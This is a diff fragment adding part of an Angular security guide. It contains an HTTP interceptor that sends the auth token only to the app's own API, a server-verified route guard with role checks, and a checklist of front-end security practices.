85
|
+
export class SecurityInterceptor implements HttpInterceptor {
|
|
86
|
+
constructor(private authService: AuthService,
|
|
87
|
+
private router: Router) {}
|
|
88
|
+
|
|
89
|
+
intercept(req: HttpRequest<any>, next: HttpHandler): Observable<HttpEvent<any>> {
|
|
90
|
+
// 1. Add token only to our API
|
|
91
|
+
const isOwnApi = req.url.startsWith(environment.apiUrl)
|
|
92
|
+
const token = this.authService.getToken()
|
|
93
|
+
|
|
94
|
+
let secureReq = req
|
|
95
|
+
if (isOwnApi && token) {
|
|
96
|
+
secureReq = req.clone({
|
|
97
|
+
headers: req.headers.set('Authorization', `Bearer ${token}`)
|
|
98
|
+
})
|
|
99
|
+
}
|
|
100
|
+
|
|
101
|
+
return next.handle(secureReq).pipe(
|
|
102
|
+
catchError((error: HttpErrorResponse) => {
|
|
103
|
+
if (error.status === 401) {
|
|
104
|
+
this.authService.logout()
|
|
105
|
+
this.router.navigate(['/login'])
|
|
106
|
+
}
|
|
107
|
+
if (error.status === 403) {
|
|
108
|
+
this.router.navigate(['/forbidden'])
|
|
109
|
+
}
|
|
110
|
+
return throwError(() => error)
|
|
111
|
+
})
|
|
112
|
+
)
|
|
113
|
+
}
|
|
114
|
+
}
|
|
115
|
+
|
|
116
|
+
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|
117
|
+
ANGULAR ROUTE GUARDS
|
|
118
|
+
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|
119
|
+
|
|
120
|
+
SECURE GUARD
|
|
121
|
+
export const authGuard: CanActivateFn = async (route, state) => {
|
|
122
|
+
const authService = inject(AuthService)
|
|
123
|
+
const router = inject(Router)
|
|
124
|
+
|
|
125
|
+
// Server verification
|
|
126
|
+
const isAuthenticated = await firstValueFrom(
|
|
127
|
+
authService.checkAuthStatus()
|
|
128
|
+
)
|
|
129
|
+
|
|
130
|
+
if (!isAuthenticated) {
|
|
131
|
+
return router.createUrlTree(['/login'], {
|
|
132
|
+
queryParams: { returnUrl: state.url }
|
|
133
|
+
})
|
|
134
|
+
}
|
|
135
|
+
|
|
136
|
+
// Role check
|
|
137
|
+
const requiredRoles = route.data['roles'] as string[]
|
|
138
|
+
if (requiredRoles?.length) {
|
|
139
|
+
const user = authService.currentUser()
|
|
140
|
+
const hasRole = requiredRoles.some(r => user?.roles.includes(r))
|
|
141
|
+
if (!hasRole) {
|
|
142
|
+
return router.createUrlTree(['/forbidden'])
|
|
143
|
+
}
|
|
144
|
+
}
|
|
145
|
+
|
|
146
|
+
return true
|
|
147
|
+
}
|
|
148
|
+
|
|
149
|
+
// Routes
|
|
150
|
+
{
|
|
151
|
+
path: 'admin',
|
|
152
|
+
canActivate: [authGuard],
|
|
153
|
+
data: { roles: ['ADMIN'] },
|
|
154
|
+
loadChildren: () => import('./admin/admin.routes')
|
|
155
|
+
}
|
|
156
|
+
|
|
157
|
+
═══════════════════════════════════════════════════════════════
|
|
158
|
+
COMPLETE ANGULAR CHECKLIST
|
|
159
|
+
═══════════════════════════════════════════════════════════════
|
|
160
|
+
|
|
161
|
+
□ bypassSecurityTrust* only after DOMPurify?
|
|
162
|
+
□ [innerHTML] never with raw user data?
|
|
163
|
+
□ HttpInterceptor adding token only to our API?
|
|
164
|
+
□ Route guards with server verification?
|
|
165
|
+
□ environment.ts without secrets (all via API)?
|
|
166
|
+
□ AOT compilation enabled (enabled by default in prod)?
|
|
167
|
+
□ Source maps disabled in production?
|
|
168
|
+
□ npm audit clean?
|
|
169
|
+
□ Angular versions up to date?
|